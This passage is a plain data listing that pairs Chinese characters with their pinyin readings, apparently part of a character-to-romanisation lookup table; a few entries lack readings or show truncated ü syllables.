ao 澴 huan 澵 zhen 澶 chan 澷 man 澸 gan 澹 dan,tan 澺 yi 澻 sui 澼 pi 澽 ju 澾 ta 澿 qin 激 ji 濁 zhuo 濂 lian 濃 nong 濄 guo 濅 jin 濆 fen,pen 濇 se 濈 ji 濉 sui 濊 hui 濋 chu 濌 ta 濍 song 濎 ding 濏 se 濐 zhu 濑 lai 濒 bin 濓 lian 濔 mi 濕 shi 濖 shu 濗 mi 濘 ning 濙 ying 濚 ying 濛 meng 濜 jin 濝 qi 濞 bi 濟 ji 濠 hao 濡 ru 濢 cui 濣 wo 濤 tao 濥 yin 濧 dui 濨 ci 濩 huo 濪 qing 濫 lan 濬 jun 濭 ai 濮 pu 濯 zhuo 濰 wei 濱 bin 濲 gu 濳 qian 濴 ying 濵 bin 濶 kuo 濷 fei 濸 濹 濺 jian 濻 wei 濼 luo 濽 zan 濾 l 濿 li 瀀 you 瀁 yang 瀂 lu 瀃 si 瀄 zhi 瀅 ying 瀆 du 瀇 wang 瀈 hui 瀉 xie 瀊 pan 瀋 shen 瀌 biao 瀍 chan 瀎 mie 瀏 liu 瀐 jian 瀑 bao,pu 瀒 se 瀓 cheng 瀔 gu 瀕 bin 瀖 huo 瀗 xian 瀘 lu 瀙 qin 瀚 han 瀛 ying 瀜 rong 瀝 li 瀞 jing 瀟 xiao 瀠 ying 瀡 sui 瀢 wei 瀣 xie 瀤 huai 瀥 xue 瀦 zhu 瀧 long 瀨 lai 瀩 dui 瀪 fan 瀫 hu 瀬 lai 瀭 瀮 lian 瀯 ying 瀰 mi 瀱 ji 瀲 lian 瀳 jian 瀴 ying 瀵 fen 瀶 lin 瀷 yi 瀸 jian 瀹 yue 瀺 chan 瀻 dai 瀼 rang 瀽 jian 瀾 lan 瀿 fan 灀 shuang 灁 yuan 灂 zhuo 灃 feng 灄 she 灅 lei 灆 lan 灇 cong 灈 qu 灉 yong 灊 qian 灋 fa 灌 guan 灍 jue 灎 yan 灏 hao 灐 ying 灑 sa 灒 zan 灓 luan 灔 yan 灕 li 灖 mi 灗 shan 灘 tan 灙 dang 灚 jiao 灛 chan 灜 ying 灝 hao 灞 ba 灟 zhu 灠 lan 灡 lan 灢 nang 灣 wan 灤 luan 灥 xun 灦 xian 灧 yan 灨 gan 灩 yan 灪 yu 火 huo 灬 huo 灭 mie 灮 guang 灯 deng 灰 hui 灱 xiao 灲 xiao 灳 hui 灴 hong 灵 ling 灶 zao 灷 zhuan 灸 jiu 灹 zha 灺 xie 灻 chi 灼 zhuo 災 zai 灾 zai 灿 can 炀 yang 炁 qi 炂 zhong 炃 fen 炄 niu 炅 gui,jiong 炆 wen 炇 pu 炈 yi 炉 lu 炊 chui 炋 pi 炌 kai 炍 pan 炎 yan 炏 yan 炐 pang 炑 mu 炒 chao 炓 liao 炔 gui,que 炕 hang,kang 炖 dun 炗 guang 炘 xin 炙 zhi 炚 guang 炛 guang 炜 hui,wei 炝 qiang 炞 bian 炟 da 炠 xia 炡 zheng 炢 zhu 炣 ke 炤 zhao 炥 fu 炦 ba 炧 xie 炨 xie 炩 ling 炪 zhuo 炫 xuan 炬 ju 炭 tan 炮 pao,bao 炯 jiong 炰 pao 炱 tai 炲 tai 炳 bing 炴 yang 炵 tong 炶 shan 炷 zhu 炸 zha 点 dian 為 wei 炻 shi 炼 lian 炽 chi 炾 huang 炿 zhou 烀 hu 烁 shuo 烂 lan 烃 ting 烄 jiao 烅 xu 烆 heng 烇 quan 烈 lie 烉 huan 烊 yang 烋 xiao 烌 xiu 烍 xian 烎 yin 烏 wu 烐 zhou 烑 yao 烒 shi 烓 wei 烔 tong 烕 mie 烖 zai 烗 kai 烘 hong 烙 lao,luo 烚 xia 烛 zhu 烝 zheng 烞 po 烟 yan 烠 hui 烡 guang 烢 che 烣 hui 烤 kao 烥 烦 fan 烧 shao 烨 ye 烩 hui 烪 烫 tang 烬 jin 热 re 烮 lie 烯 xi 烰 fu 烱 jiong 烲 xie 烳 pu 烴 ting 烵 zhuo 烶 ting 烷 wan 烸 hai 烹 peng 烺 lang 烻 yan 烼 xu 烽 feng 烾 chi 烿 rong 焀 hu 焁 xi 焂 shu 焃 he 焄 xun 焅 ku 焆 juan 焇 xiao 焈 xi 焉 yan 焊 han 焋 zhuang 焌 jun,qu 焍 di 焎 xie 焏 ji 焐 wu 焑 焒 焓 han 焔 yan 焕 huan 焖 men 焗 ju 焘 dao,tao 焙 bei 焚 fen 焛 lin 焜 kun 焝 hun 焞 tun 焟 xi 焠 cui 無 wu 焢 hong 焣 chao 焤 fu 焥 wo 焦 jiao 焧 zong 焨 feng 焩 ping 焪 qiong 焫 ruo 焬 xi 焭 qiong 焮 xin 焯 chao,zhuo 焰 yan 焱 yan 焲 yi 焳 jue 焴 yu 焵 gang 然 ran 焷 pi 焸 xiong 焹 gang 焺 sheng 焻 chang 焼 shao 焽 xiong 焾 焿 geng 煀 qu 煁 chen 煂 he 煃 kui 煄 zhong 煅 duan 煆 xia 煇 hui 煈 feng 煉 lian 煊 xuan 煋 xing 煌 huang 煍 jiao 煎 jian 煏 bi 煐 ying 煑 zhu 煒 wei 煓 tuan 煔 shan 煕 xi 煖 xuan 煗 nuan 煘 chan 煙 yan 煚 jiong 煛 jiong 煜 yu 煝 mei 煞 sha 煟 wei 煠 ye 煡 jin 煢 qiong 煣 rou 煤 mei 煥 huan 煦 xu 照 zhao 煨 wei 煩 fan 煪 qiu 煫 sui 煬 yang 煭 lie 煮 zhu 煯 jie 煰 zao 煱 gua 煲 bao 煳 hu 煴 yun 煵 nan 煶 煷 huo 煸 bian 煹 gou 煺 tui 煻 tang 煼 chao 煽 shan 煾 en 煿 bo 熀 huang 熁 xie 熂 xi 熃 wu 熄 xi 熅 yun 熆 he 熇 he,kao 熈 xi 熉 yun 熊 xiong 熋 xiong 熌 shan 熍 qiong 熎 yao 熏 xun 熐 mi 熑 lian 熒 ying 熓 wu 熔 rong 熕 gong 熖 yan 熗 qiang 熘 liu 熙 xi 熚 bi 熛 biao 熜 cong 熝 lu 熞 jian 熟 shou,shu 熠 yi 熡 lou 熢 peng 熣 sui 熤 yi 熥 tong 熦 jue 熧 zong 熨 yun,yu 熩 hu 熪 yi 熫 zhi 熬 ao 熭 wei 熮 liu 熯 han 熰 ou 熱 re 熲 jiong 熳 man 熴 kun 熵 shang 熶 cuan 熷 zeng 熸 jian 熹 xi 熺 xi 熻 xi 熼 yi 熽 xiao 熾 chi 熿 huang 燀 chan 燁 ye 燂 tan 燃 ran 燄 yan 燅 xun 燆 qiao 燇 jun 燈 deng 燉 dun 燊 shen 燋 qiao 燌 fen 燍 si 燎 liao 燏 yu 燐 lin 燑 tong 燒 shao 燓 fen 燔 fan 燕 yan 燗 lan 燘 mei 燙 tang 燚 yi 燛 jiong 燜 men 燝 zhu 燞 營 ying 燠 yu 燡 yi 燢 xue 燣 lan 燤 tai 燥 zao,sao 燦 can 燧 sui 燨 xi 燩 que 燪 zong 燫 lian 燬 hui 燭 zhu 燮 xie 燯 ling 燰 wei 燱 yi 燲 xie 燳 zhao 燴 hui 燵 燶 nong 燷 lan 燸 xu 燹 xian 燺 he 燻 xun 燼 jin 燽 chou 燾 dao 燿 yao 爀 he 爁 lan 爂 biao 爃 rong 爄 li 爅 mo 爆 bao 爇 ruo 爈 l 爉 la 爊 ao 爋 xun 爌 kuang 爍 shuo 爎 liao 爏 li 爐 lu 爑 jue 爒 liao 爓 yan 爔 xi 爕 xie 爖 long 爗 ye 爘 爙 rang 爚 yue 爛 lan 爜 cong 爝 jue 爞 chong 爟 guan 爠 qu 爡 che 爢 mi 爣 tang 爤 lan 爥 zhu 爦 lan 爧 ling 爨 cuan 爩 yu 爪 zhua,zhao 爫 zhao 爬 pa 爭 zheng 爮 pao 爯 cheng 爰 yuan 爱 ai 爲 wei 爳 爴 jue 爵 jue 父 fu 爷 ye 爸 ba 爹 die 爺 ye 爻 yao 爼 zu 爽 shuang 爾 er 爿 pan 牀 chuang 牁 ke 牂 zang 牃 die 牄 qiang 牅 yong 牆 qiang 片 pian 版 ban 牉 pan 牊 chao 牋 jian 牌 pai 牍 du 牎 chuang 牏 yu 牐 zha 牑 bian 牒 die 牓 bang 牔 bo 牕 chuang 牖 you 牗 you 牘 du 牙 ya 牚 cheng 牛 niu 牜 niu 牝 pin 牞 jiu 牟 mou,mu 牠 ta 牡 mu 牢 lao 牣 ren 牤 mang 牥 fang 牦 mao 牧 mu 牨 gang 物 wu 牪 yan 牫 ge 牬 bei 牭 si 牮 jian 牯 gu 牰 you 牱 ke 牲 sheng 牳 mu 牴 di 牵 qian 牶 quan 牷 quan 牸 zi 特 te 牺 xi 牻 mang 牼 keng 牽 qian 牾 wu 牿 gu 犀 xi 犁 li 犂 li 犃 pou 犄 ji 犅 gang 犆 zhi 犇 ben 犈 quan 犉 chun 犊 du 犋 ju 犌 jia 犍 jian,qian 犎 feng 犏 pian 犐 ke 犑 ju 犒 kao 犓 chu 犔 xi 犕 bei 犖 luo 犗 jie 犘 ma 犙 san 犚 wei 犛 li 犜 dun 犝 tong 犞 qiao 犟 jiang 犠 xi 犡 li 犢 du 犣 lie 犤 bai 犥 piao 犦 bao 犧 xi 犨 chou 犩 wei 犪 kui 犫 chou 犬 quan 犭 quan 犮 quan 犯 fan 犰 qiu 犱 ji 犲 chai 犳 zhuo 犴 an,han 犵 ge 状 zhuang 犷 guang 犸 ma 犹 you 犺 kang 犻 pei 犼 hou 犽 ya 犾 yin 犿 huan 狀 zhuang 狁 yun 狂 kuang 狃 niu 狄 di 狅 kuang 狆 zhong 狇 mu 狈 bei 狉 pi 狊 ju 狋 yi 狌 sheng,xing 狍 pao 狎 xia 狏 tuo 狐 hu 狑 ling 狒 fei 狓 pi 狔 ni 狕 yao 狖 you 狗 gou 狘 xue 狙 ju 狚 dan 狛 bo 狝 xian 狞 ning 狟 huan 狠 hen 狡 jiao 狢 he 狣 zhao 狤 jie 狥 xun 狦 shan 狧 ta 狨 rong 狩 shou 狪 tong 狫 lao 独 du 狭 xia 狮 shi 狯 kuai 狰 zheng 狱 yu 狲 sun 狳 yu 狴 bi 狵 mang 狶 xi 狷 juan 狸 li 狹 xia 狺 yin 狻 suan 狼 lang 狽 bei 狾 zhi 狿 yan 猀 sha 猁 li 猂 han 猃 xian 猄 jing 猅 pai 猆 fei 猇 xiao 猈 bai 猉 qi 猊 ni 猋 biao 猌 yin 猍 lai 猎 lie 猏 jian 猐 qiang 猑 kun 猒 yan 猓 guo 猔 zong 猕 mi 猖 chang 猗 yi 猘 zhi 猙 zheng 猚 ya 猛 meng 猜 cai 猝 cu 猞 she 猟 lie 猠 猡 luo 猢 hu 猣 zong 猤 gui 猥 wei 猦 feng 猧 wo 猨 yuan 猩 xing 猪 zhu 猫 mao 猬 wei 猭 chuan 献 xian 猯 tuan 猰 ya 猱 nao 猲 he,xie 猳 jia 猴 hou 猵 bian 猶 you 猷 you 猸 mei 猹 cha,zha 猺 yao 猻 sun 猼 bo 猽 ming 猾 hua 猿 yuan 獀 sou 獁 ma 獂 huan 獃 dai 獄 yu 獅 shi 獆 hao 獇 qiang 獈 yi 獉 zhen 獊 cang 獋 hao 獌 man 獍 jing 獎 jiang 獏 mo 獐 zhang 獑 chan 獒 ao 獓 ao 獔 hao 獕 cui 獖 fen 獗 jue 獘 bi 獙 bi 獚 huang 獛 pu 獜 lin 獝 xu 獞 tong 獟 yao 獠 lao,liao 獡 shuo 獢 xiao 獣 shou 獤 獥 jiao 獦 ge 獧 juan 獨 du 獩 hui 獪 kuai 獫 xian 獬 xie 獭 ta 獮 xian 獯 xun 獰 ning 獱 bian 獳 nou 獴 meng 獵 lie 獶 nao 獷 guang 獸 shou 獹 lu 獺 ta 獻 xian 獼 mi 獽 rang 獾 huan 獿 nao 玀 luo 玁 xian 玂 qi 玃 jue 玄 xuan 玅 miao 玆 zi 率 l,shuai 玈 lu 玉 yu 玊 su 王 wang 玌 qiu 玍 ga 玎 ding 玏 le 玐 ba 玑 ji 玒 hong 玓 di 玔 chuan 玕 gan 玖 jiu 玗 yu 玘 qi 玙 yu 玚 chang 玛 ma 玜 hong 玝 wu 玞 fu 玟 min 玠 jie 玡 ya 玢 bin,fen 玣 bian 玤 bang 玥 yue 玦 jue 玧 men 玨 jue 玩 wan 玪 jian 玫 mei 玬 dan 玭 pin 玮 wei 环 huan 现 xian 玱 qiang 玲 ling 玳 dai 玴 yi 玵 an 玶 ping 玷 dian 玸 fu 玹 xuan 玺 xi 玻 bo 玼 ci 玽 gou 玾 jia 玿 shao 珀 po 珁 ci 珂 ke 珃 ran 珄 sheng 珅 shen 珆 yi 珇 zu 珈 jia 珉 min 珊 shan 珋 liu 珌 bi 珍 zhen 珎 zhen 珏 jue 珐 fa 珑 long 珒 jin 珓 jiao 珔 jian 珕 li 珖 guang 珗 xian 珘 zhou 珙 gong 珚 yan 珛 xiu 珜 yang 珝 xu 珞 luo 珟 su 珠 zhu 珡 qin 珢 yin 珣 xun 珤 bao 珥 er 珦 xiang 珧 yao 珨 xia 珩 hang,heng 珪 gui 珫 chong 珬 xu 班 ban 珮 pei 珯 lao 珰 dang 珱 ying 珲 hui,hun 珳 wen 珴 e 珵 cheng 珶 di 珷 wu 珹 cheng 珺 jun 珻 mei 珼 bei 珽 ting 現 xian 珿 chu 琀 han 琁 xuan 琂 yan 球 qiu 琄 xuan 琅 lang 理 li 琇 xiu 琈 fu 琉 liu 琊 ya 琋 xi 琌 ling 琍 li 琎 jin 琏 lian 琐 suo 琑 琒 琓 琔 dian 琕 pin 琖 zhan 琗 cui 琘 min 琙 yu 琚 ju 琛 chen 琜 lai 琝 min 琞 sheng 琟 wei 琠 tian 琡 shu 琢 zhuo,zuo 琣 beng 琤 cheng 琥 hu 琦 qi 琧 e 琨 kun 琩 chang 琪 qi 琫 beng 琬 wan 琭 lu 琮 cong 琯 guan 琰 yan 琱 diao 琲 bei 琳 lin 琴 qin 琵 pi 琶 pa 琷 que 琸 zhuo 琹 qin 琺 fa 琻 琼 qiong 琽 du 琾 jie 琿 hun 瑀 yu 瑁 mao 瑂 mei 瑃 chun 瑄 xuan 瑅 ti 瑆 xing 瑇 dai 瑈 rou 瑉 min 瑊 jian 瑋 wei 瑌 ruan 瑍 huan 瑎 xie 瑏 chuan 瑐 jian 瑑 zhuan 瑒 yang 瑓 lian 瑔 quan 瑕 xia 瑖 duan 瑗 yuan 瑘 ye 瑙 nao 瑚 hu 瑛 ying 瑜 yu 瑝 huang 瑞 rui 瑟 se 瑠 liu 瑡 shi 瑢 rong 瑣 suo 瑤 yao 瑥 wen 瑦 wu 瑧 zhen 瑨 jin 瑩 ying 瑪 ma 瑫 tao 瑬 liu 瑭 tang 瑮 li 瑯 lang 瑰 gui 瑱 tian 瑲 qiang 瑳 cuo 瑴 jue 瑵 zhao 瑶 yao 瑷 ai 瑸 bin 瑹 tu 瑺 chang 瑼 zhuan 瑽 cong 瑾 jin 瑿 yi 璀 cui 璁 cong 璂 qi 璃 li 璄 jing 璅 suo 璆 qiu 璇 xuan 璈 ao 璉 lian 璊 men 璋 zhang 璌 yin 璍 ye 璎 ying 璏 zhi 璐 lu 璑 wu 璒 deng 璓 xiu 璔 zeng 璕 xun 璖 qu 璗 dang 璘 lin 璙 liao 璚 qiong 璛 su 璜 huang 璝 gui 璞 pu 璟 jing 璠 fan 璡 jin 璢 liu 璣 ji 璤 璥 jing 璦 ai 璧 bi 璨 can 璩 qu 璪 zao 璫 dang 璬 jiao 璭 guan 璮 tan 璯 hui 環 huan 璱 se 璲 sui 璳 tian 璴 璵 yu 璶 jin 璷 lu 璸 bin 璹 shu 璺 wen 璻 zui 璼 lan 璽 xi 璾 ji 璿 xuan 瓀 ruan 瓁 wo 瓂 gai 瓃 lei 瓄 du 瓅 li 瓆 zhi 瓇 rou 瓈 li 瓉 zan 瓊 qiong 瓋 ti 瓌 gui 瓍 sui 瓎 la 瓏 long 瓐 lu 瓑 li 瓒 zan 瓓 lan 瓔 ying 瓕 mi 瓖 xiang 瓗 qiong 瓘 guan 瓙 dao 瓚 zan 瓛 huan 瓜 gua 瓝 bo 瓞 die 瓟 bo 瓠 hu 瓡 zhi 瓢 piao 瓣 ban 瓤 rang 瓥 li 瓦 wa 瓧 sh,shiw,shiwa 瓨 xiang 瓩 qi 瓪 ban 瓫 pen 瓬 fang 瓭 dan 瓮 weng 瓯 ou 瓰 f,fenw,fenwa 瓱 maow,m,maowa 瓲 瓴 ling 瓵 yi 瓶 ping 瓷 ci 瓸 瓹 juan 瓺 chang 瓻 chi 瓼 l,liw,liwa 瓽 dang 瓾 wa 瓿 bu 甀 zhui 甁 ping 甂 bian 甃 zhou 甄 zhen 甅 甆 ci 甇 ying 甈 qi 甉 xian 甊 lou 甋 di 甌 ou 甍 meng 甎 zhuan 甏 beng 甐 lin 甑 zeng 甒 wu 甓 pi 甔 dan 甕 weng 甖 ying 甗 yan 甘 gan 甙 dai 甚 shen 甛 tian 甜 tian 甝 han 甞 chang 生 sheng 甠 qing 甡 shen 產 chan 産 chan 甤 rui 甥 sheng 甦 su 甧 shen 用 yong 甩 shuai 甪 lu 甫 fu 甬 yong 甭 beng 甮 beng 甯 ning 田 tian 由 you 甲 jia 申 shen 甴 you 电 dian 甶 fu 男 nan 甸 dian 甹 ping 町 ting,ding 画 hua 甼 ting 甽 zhen 甾 zai,zi 甿 meng 畀 bi 畁 bi 畂 mu 畃 xun 畄 liu 畅 chang 畆 mu 畇 yun 畈 fan 畉 fu 畊 geng 畋 tian 界 jie 畍 jie 畎 quan 畏 wei 畐 fu 畑 tian 畒 mu 畓 畔 pan 畕 jiang 畖 wa 畗 da 畘 nan 留 liu 畚 ben 畛 zhen 畜 xu,chu 畝 mu 畞 mu 畟 ji 畠 tian 畡 gai 畢 bi 畣 da 畤 zhi 略 l 畦 qi 畧 lue 畨 fan 畩 番 pan,fan 畫 hua 畬 she,yu 畭 she 畮 mu 畯 jun 異 yi 畱 liu 畲 she 畳 die 畴 chou 畵 hua 當 dang 畷 zhui 畸 ji 畹 wan 畺 jiang 畻 cheng 畼 chang 畽 tuan 畾 lei 畿 ji 疀 cha 疁 liu 疂 die 疃 tuan 疄 lin 疅 jiang 疆 jiang 疇 chou 疉 die 疊 die 疋 ya 疌 jie 疍 dan 疎 shu 疏 shu 疐 zhi 疑 yi 疒 ne 疓 nai 疔 ding 疕 bi 疖 jie 疗 liao 疘 gang 疙 ge 疚 jiu 疛 zhou 疜 xia 疝 shan 疞 xu 疟 n,yao 疠 li 疡 yang 疢 chen 疣 you 疤 ba 疥 jie 疦 jue 疧 qi 疨 ya 疩 cui 疪 bi 疫 yi 疬 li 疭 zong 疮 chuang 疯 feng 疰 zhu 疱 pao 疲 pi 疳 gan 疴 ke 疵 ci 疶 xue 疷 zhi 疸 dan 疹 zhen 疺 fa 疻 zhi 疼 teng 疽 ju 疾 ji 疿 fei 痀 gou 痁 shan 痂 jia 痃 xuan 痄 zha 病 bing 痆 nie 症 zheng 痈 yong 痉 jing 痊 quan 痋 teng 痌 tong 痍 yi 痎 jie 痏 wei 痐 hui 痑 tan 痒 yang 痓 zhi 痔 zhi 痕 hen 痖 ya 痗 mei 痘 dou 痙 jing 痚 xiao 痛 tong 痜 tu 痝 mang 痞 pi 痟 xiao 痠 suan 痡 pu 痢 li 痣 zhi 痤 cuo 痥 duo 痦 wu 痧 sha 痨 lao 痩 shou 痪 huan 痫 xian 痬 yi 痭 beng 痮 zhang 痯 guan 痰 tan 痱 fei 痲 ma 痳 ma 痴 chi 痵 ji 痶 tian 痷 an 痸 chi 痹 bi 痺 bi 痻 min 痼 gu 痽 dui 痾 ke 痿 wei 瘀 yu 瘁 cui 瘂 ya 瘃 zhu 瘄 cu 瘅 dan 瘆 shen 瘇 zhong 瘈 zhi,chi 瘉 yu 瘊 hou 瘋 feng 瘌 la 瘍 yang 瘎 chen 瘏 tu 瘐 yu 瘑 guo 瘒 wen 瘓 huan 瘔 ku 瘕 jia 瘖 yin 瘗 yi 瘘 lou 瘙 sao 瘚 jue 瘛 chi 瘜 xi 瘝 guan 瘞 yi 瘟 wen 瘠 ji 瘡 chuang 瘢 ban 瘣 hui 瘤 liu 瘥 cuo,chai 瘦 shou 瘧 nue 瘨 dian 瘩 da 瘪 bie 瘫 tan 瘬 zhang 瘭 biao 瘮 shen 瘯 cu 瘰 luo 瘱 yi 瘲 zong 瘳 chou 瘴 zhang 瘵 瘶 sou 瘷 se 瘸 que 瘹 diao 瘺 lou 瘻 lou 瘼 mo 瘽 qin 瘾 yin 瘿 ying 癀 huang 癁 fu 療 liao 癃 long 癄 qiao 癆 lao 癇 xian 癈 fei 癉 dan 癊 yin 癋 he 癌 ai 癍 ban 癎 xian 癏 guan 癐 gui 癑 nong 癒 yu 癓 wei 癔 yi 癕 yong 癖 pi 癗 lei 癘 li 癙 shu 癚 dan 癛 lin 癜 dian 癝 lin 癞 la,lai 癟 bie 癠 ji 癡 chi 癢 yang 癣 xuan 癤 jie 癥 zheng 癦 mo 癧 li 癨 huo 癩 lai 癪 ji 癫 dian 癬 xuan 癭 ying 癮 yin 癯 qu 癰 yong 癱 tan 癲 dian 癳 luo 癴 luan 癵 luan 癶 bo 癷 癸 gui 癹 ba 発 fa 登 deng 發 fa 白 bai 百 bai 癿 qie 皀 bi 皁 zao 皂 zao 皃 mao 的 di 皅 pa 皆 jie 皇 huang 皈 gui 皉 ci 皊 ling 皋 gao,hao 皌 mo 皍 ji 皎 jiao 皏 peng 皐 gao 皑 ai 皒 e 皓 hao 皔 han 皕 bi 皖 wan 皗 chou 皘 qian 皙 xi 皚 ai 皛 xiao 皜 hao 皝 huang 皞 hao 皟 ze 皠 cui 皡 hao 皢 xiao 皣 ye 皤 po 皥 hao 皦 jiao 皧 ai 皨 xing 皩 huang 皪 li 皫 piao 皬 he 皭 jiao 皮 pi 皯 gan 皰 pao 皱 zhou 皲 jun 皳 qiu 皴 cun 皵 que 皶 zha 皷 gu 皸 jun 皹 jun 皺 zhou 皻 zha 皼 gu 皽 zhao 皾 du 皿 min 盀 qi 盁 ying 盂 yu 盃 bei 盅 zhong 盆 pen 盇 he 盈 ying 盉 he 益 yi 盋 bo 盌 wan 盍 he 盎 ang 盏 zhan 盐 yan 监 jian 盒 he 盓 yu 盔 kui 盕 fan 盖 gai,ge 盗 dao 盘 pan 盙 fu 盚 qiu 盛 cheng,sheng 盜 dao 盝 lu 盞 zhan 盟 meng 盠 li 盡 jin 盢 xu 監 jian 盤 pan 盥 guan 盦 an 盧 lu 盨 xu 盩 zhou 盪 dang 盫 an 盬 gu 盭 li 目 mu 盯 ding 盰 gan 盱 xu 盲 mang 盳 mang 直 zhi 盵 qi 盶 yuan 盷 xian 相 xiang 盹 dun 盺 xin 盻 xi 盼 pan 盽 feng 盾 dun 盿 min 眀 ming 省 sheng,xing 眂 shi 眃 yun 眄 mian 眅 pan 眆 fang 眇 miao 眈 dan 眉 mei 眊 mao 看 kan 県 xian 眍 kou 眎 shi 眏 yang 眐 zheng 眑 yao 眒 shen 眓 huo 眔 da 眕 zhen 眖 kuang 眗 ju 眘 shen 眙 yi 眚 sheng 眛 mei 眜 mo 眝 zhu 眞 zhen 真 zhen 眠 mian 眡 shi 眢 yuan 眣 die 眤 ni 眥 zi 眦 zi 眧 chao 眨 zha 眩 xuan,huan 眪 bing 眫 pang 眬 long 眭 sui 眮 tong 眯 mi 眰 die 眱 di 眲 ne 眳 ming 眴 xuan 眵 chi 眶 kuang 眷 juan 眸 mou 眹 zhen 眺 tiao 眻 yang 眼 yan 眽 mo 眾 zhong 眿 mo 着 zhuo,zhao 睁 zheng 睂 mei 睃 suo 睄 shao 睅 han 睆 huan 睇 di 睈 cheng 睉 cuo 睊 juan 睋 e 睌 mian 睍 xian 睎 xi 睏 kun 睐 lai 睑 jian 睒 shan 睓 tian 睔 gun 睕 wan 睖 leng 睗 shi 睘 qiong 睙 li 睚 ya 睛 jing 睜 zheng 睞 lai 睟 sui 睠 juan 睡 shui 睢 sui,hui 督 du 睤 bi 睥 pi,bi 睦 mu 睧 hun 睨 ni 睩 lu 睪 yi 睫 jie 睬 cai 睭 zhou 睮 yu 睯 hun 睰 ma 睱 xia 睲 xing 睳 hui 睴 hun 睵 zai 睶 chun 睷 jian 睸 mei 睹 du 睺 hou 睻 xuan 睼 ti 睽 kui 睾 gao 睿 rui 瞀 mao 瞁 xu 瞂 fa 瞃 wo 瞄 miao 瞅 chou 瞆 gui 瞇 mi 瞈 weng 瞉 kou 瞊 dang 瞋 chen 瞌 ke 瞍 sou 瞎 xia 瞏 qiong 瞐 mo 瞑 ming 瞒 man 瞓 瞔 ze 瞕 zhang 瞖 yi 瞗 diao 瞘 kou 瞙 mo 瞚 shun 瞛 cong 瞜 lou 瞝 chi 瞞 man 瞟 piao 瞠 cheng 瞡 gui 瞢 meng 瞣 wan 瞤 shun 瞥 pie 瞦 xi 瞧 qiao 瞨 pu 瞩 zhu 瞪 deng 瞫 shen 瞬 shun 瞭 liao 瞮 che 瞯 xian 瞰 kan 瞱 ye 瞲 xue 瞳 tong 瞴 wu 瞵 lin 瞶 gui 瞷 jian 瞸 ye 瞹 ai 瞺 hui 瞻 zhan 瞼 jian 瞽 gu 瞾 zhao 瞿 qu 矀 wei 矁 chou 矂 sao 矃 ning 矄 xun 矅 yao 矆 huo 矇 meng 矈 mian 矉 pin 矊 mian 矋 矌 kuang 矍 jue 矎 xuan 矏 mian 矐 huo 矑 lu 矒 meng 矓 long 矔 guan 矕 man 矖 xi 矗 chu 矘 tang 矙 kan 矚 zhu 矛 mao 矜 qin,jin,guan 矝 jin 矞 yu 矟 shuo 矠 ze 矡 jue 矢 shi 矣 yi 矤 shen 知 zhi 矧 shen 矨 ying 矩 ju 矪 zhou 矫 jiao 矬 cuo 短 duan 矮 ai 矯 jiao 矰 zeng 矱 yue 矲 ba 石 dan,shi 矴 ding 矵 qi 矶 ji 矷 zi 矸 gan 矹 wu 矺 zhe 矻 ku 矼 gang 矽 xi 矾 fan 矿 kuang 砀 dang 码 ma 砂 sha 砃 dan 砄 jue 砅 li 砆 fu 砇 min 砈 e 砉 hua,xu 砊 kang 砋 zhi 砌 qi,qie 砍 kan 砎 jie 砏 pin 砐 e 砑 ya 砒 pi 砓 zhe 研 yan 砕 sui 砖 zhuan 砗 che 砘 dun 砙 wa 砚 yan 砛 砜 feng 砝 fa 砞 mo 砟 zha 砠 ju 砡 yu 砢 ke 砣 tuo 砤 tuo 砥 di 砦 zhai 砧 zhen 砨 e 砩 fu 砪 mu 砫 zhu 砬 la 砭 bian 砮 nu 砯 ping 砰 peng 砱 ling 砲 pao 砳 le 破 po 砵 bo 砶 po 砷 shen 砸 za 砹 ai 砺 li 砻 long 砼 tong 砽 砾 li 砿 kuang 础 chu 硁 keng 硂 quan 硃 zhu 硄 kuang 硅 gui 硆 e 硇 nao 硈 qia 硉 lu 硊 wei 硋 ai 硌 ge,luo 硍 ken 硎 xing 硏 yan 硐 dong 硑 peng 硒 xi 硓 硔 hong 硕 shuo 硖 xia 硗 qiao 硘 硙 wei 硚 qiao 硛 硜 keng 硝 xiao 硞 que 硟 chan 硠 lang 硡 hong 硢 yu 硣 xiao 硤 xia 硥 mang 硦 luo 硧 yong 硨 che 硩 che 硪 wo 硫 liu 硬 ying 硭 mang 确 que 硯 yan 硰 sha 硱 kun 硲 yu 硳 硴 硵 lu 硶 chen 硷 jian 硸 nue 硹 song 硺 zhuo 硻 keng 硼 peng 硽 yan 硾 zhui 硿 kong 碀 cheng 碁 qi 碂 zong 碃 qing 碅 jun 碆 bo 碇 ding 碈 min 碉 diao 碊 jian 碋 he 碌 lu,liu 碍 ai 碎 sui 碏 que 碐 leng 碑 bei 碒 yin 碓 dui 碔 wu 碕 qi 碖 lun 碗 wan 碘 dian 碙 nao 碚 bei 碛 qi 碜 chen 碝 ruan 碞 yan 碟 die 碠 ding 碡 碢 tuo 碣 jie 碤 ying 碥 bian 碦 ke 碧 bi 碨 wei 碩 shuo 碪 zhen 碫 duan 碬 xia 碭 dang 碮 ti 碯 nao 碰 peng 碱 jian 碲 di 碳 tan 碴 cha 碵 tian 碶 qi 碷 碸 feng 碹 xuan 確 que 碻 que 碼 ma 碽 gong 碾 nian 碿 su 磀 e 磁 ci 磂 liu 磃 si 磄 tang 磅 bang,pang 磆 hua 磇 pi 磈 kui 磉 sang 磊 lei 磋 cuo 磌 tian 磍 xia 磎 xi 磏 lian 磐 pan 磑 wei 磒 yun 磓 dui 磔 zhe 磕 ke 磖 la 磗 zhuan 磘 yao 磙 gun 磚 zhuan 磛 chan 磜 qi 磝 ao 磞 peng 磟 liu 磠 lu 磡 kan 磢 chuang 磣 chen 磤 yin 磥 lei 磦 biao 磧 qi 磨 mo 磩 qi 磪 cui 磫 zong 磬 qing 磭 chuo 磮 磯 ji 磰 shan 磱 lao 磲 qu 磳 zeng 磴 deng 磵 jian 磶 xi 磷 lin 磸 ding 磹 dian 磺 huang 磻 pan 磼 ji 磽 qiao 磾 di 磿 li 礀 jian 礁 jiao 礂 礃 zhang 礄 qiao 礅 dun 礆 jian 礇 yu 礈 zhui 礉 he 礊 ke 礋 ze 礌 lei 礎 chu 礏 ye 礐 que 礑 dang 礒 yi 礓 jiang 礔 pi 礕 pi 礖 礗 pin 礘 e 礙 ai 礚 ke 礛 jian 礜 yu 礝 ruan 礞 meng 礟 pao 礠 ci 礡 bo 礢 礣 mie 礤 ca 礥 xian 礦 kuang 礧 lei 礨 lei 礩 zhi 礪 li 礫 li 礬 fan 礭 que 礮 pao 礯 ying 礰 li 礱 long 礲 long 礳 mo 礴 bo 礵 shuang 礶 guan 礷 jian 礸 ca 礹 yan 示 shi 礻 shi 礼 li 礽 reng 